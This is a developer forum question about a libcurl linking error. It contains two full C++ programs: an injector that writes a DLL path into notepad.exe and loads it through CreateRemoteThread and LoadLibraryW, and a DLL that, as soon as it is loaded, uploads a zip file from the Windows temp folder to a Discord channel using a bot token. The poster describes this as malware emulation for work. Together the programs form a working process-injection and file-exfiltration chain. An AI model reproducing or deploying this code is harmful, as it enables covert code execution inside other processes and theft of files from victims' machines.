I have one of the weirdest problems I have ever encountered, and I can’t find anything online about it.
For some context: I have to emulate malware for my job, and this currently is requiring me to perform process injection with a custom DLL. While this is fairly straight-forward, I have one function in particular that just does not want to work when used in a DLL format.
I have this DLL, which is supposed to make a curl post request to a remote Discord channel to upload a zip file:
new_curl.dll
#include <windows.h>
#include <curl/curl.h>
#include <string>
void SendFileToDiscord(const std::string& filepath, const std::string& channel_id, const std::string& bot_token) {
CURL *curl;
CURLcode res;
struct curl_httppost *formpost = NULL;
struct curl_httppost *lastptr = NULL;
struct curl_slist *headerlist = NULL;
curl_global_init(CURL_GLOBAL_ALL);
curl_formadd(&formpost, &lastptr,
CURLFORM_COPYNAME, "file",
CURLFORM_FILE, filepath.c_str(),
CURLFORM_END);
curl = curl_easy_init();
if(curl) {
std::string url = "https://discord.com/api/v9/channels/" + channel_id + "/messages";
std::string auth_header = "Authorization: Bot " + bot_token;
headerlist = curl_slist_append(headerlist, auth_header.c_str());
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist);
res = curl_easy_perform(curl);
if(res != CURLE_OK)
fprintf(stderr, "curl_easy_perform() failed: %sn", curl_easy_strerror(res));
curl_easy_cleanup(curl);
curl_formfree(formpost);
curl_slist_free_all(headerlist);
}
curl_global_cleanup();
}
extern "C" __declspec(dllexport) void InjectedFunction() {
std::string filepath = "C:\Windows\Temp\temp_files.zip";
std::string bot_token = "--REDACTED--";
std::string channel_id = "--REDACTED--";
SendFileToDiscord(filepath, channel_id, bot_token);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
InjectedFunction();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//compile with
//g++ -shared -o curl.dll ./new_curl.cpp -lshlwapi -lgdi32 -lwininet -I /msys64/mingw64/include -L /msys64/mingw64/lib -lzip -I /msys64/mingw64/include -L /msys64/mingw64/lib -lcurl
The DLL compiles just fine, but when I execute the DLL by running injection.exe
(code below), the DLL gives me this error message:
The procedure entry point OSSL_QUIC_client_method could not be located in the dynamic link library C:msys64ucrt64binlibcurl-4.dll
It’s worth noting that I installed curl using the package manager provided by mingw, and the DLL is present in the path, as well as the local dir where the DLL is loaded. I also confirmed with Process Monitor that the DLL was found and loaded successfully.
injection.cpp
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <tchar.h>
#include <tchar.h>
#include <wininet.h>
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <psapi.h>
#include <shlwapi.h>
#include <iostream>
#include <filesystem>
#include <fstream>
namespace fs = std::filesystem;
#define UNICODE
bool IsRunningAsAdmin() {
BOOL fIsRunAsAdmin = FALSE;
PSID pAdministratorsGroup = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (!AllocateAndInitializeSid(
&NtAuthority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&pAdministratorsGroup)) {
return false;
}
if (!CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin)) {
fIsRunAsAdmin = FALSE;
}
if (pAdministratorsGroup) {
FreeSid(pAdministratorsGroup);
pAdministratorsGroup = NULL;
}
return fIsRunAsAdmin == TRUE;
}
DWORD GetTargetProcessId(const wchar_t* procName) {
DWORD procId = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(pe32);
if (Process32FirstW(hSnap, &pe32)) {
do {
if (!_wcsicmp(pe32.szExeFile, procName)) {
procId = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32));
}
CloseHandle(hSnap);
}
return procId;
}
int main() {
std::ofstream logfile("C:\Windows\Temp\injection_log.txt", std::ios::app);
logfile << "DLL injection beginning.n";
if (!IsRunningAsAdmin()) {
MessageBoxW(NULL, L"This application requires administrative privileges.", L"Error", MB_OK | MB_ICONERROR);
return 1;
}
const wchar_t* dllPath = L"C:\Windows\Temp\dll\curl.dll";
const wchar_t* targetProcName = L"notepad.exe";
DWORD procId = GetTargetProcessId(targetProcName);
if (procId == 0) {
logfile << L"Process not found.n";
return 1;
}
logfile << procId;
logfile << "n";
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);
if (!hProc) {
logfile << L"Failed to open target process.n";
return 1;
}
void* allocMem = VirtualAllocEx(hProc, NULL, (wcslen(dllPath) + 1) * sizeof(wchar_t), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!allocMem) {
logfile << L"Failed to allocate memory in target process.n";
CloseHandle(hProc);
return 1;
}
if (!WriteProcessMemory(hProc, allocMem, dllPath, (wcslen(dllPath) + 1) * sizeof(wchar_t), NULL)) {
logfile << L"Failed to write memory in target process.n";
VirtualFreeEx(hProc, allocMem, 0, MEM_RELEASE);
CloseHandle(hProc);
return 1;
}
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryW, allocMem, 0, NULL);
if (!hThread) {
logfile << L"Failed to create remote thread. Error: " << GetLastError() << "n";
VirtualFreeEx(hProc, allocMem, 0, MEM_RELEASE);
CloseHandle(hProc);
return 1;
}
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProc, allocMem, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProc);
logfile << L"Code injection successful.n";
return 0;
}
//compile like this
//g++ .injection.cpp -o .injection.exe -mwindows -static-libgcc -static-libstdc++
I have compiled a similar version in an EXE format and it loads libcurl-4.dll
without any problems and executes flawlessly.
Additionally, I have isolated the DLL, as you can see in the example, so I know it’s not any other function or code interfering with it.
If there’s no possible solution, let me know and I will retool the function to use the Windows API to make the connection, but if I could use curl for simplicity, that would be great.
anomaliesintent is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
2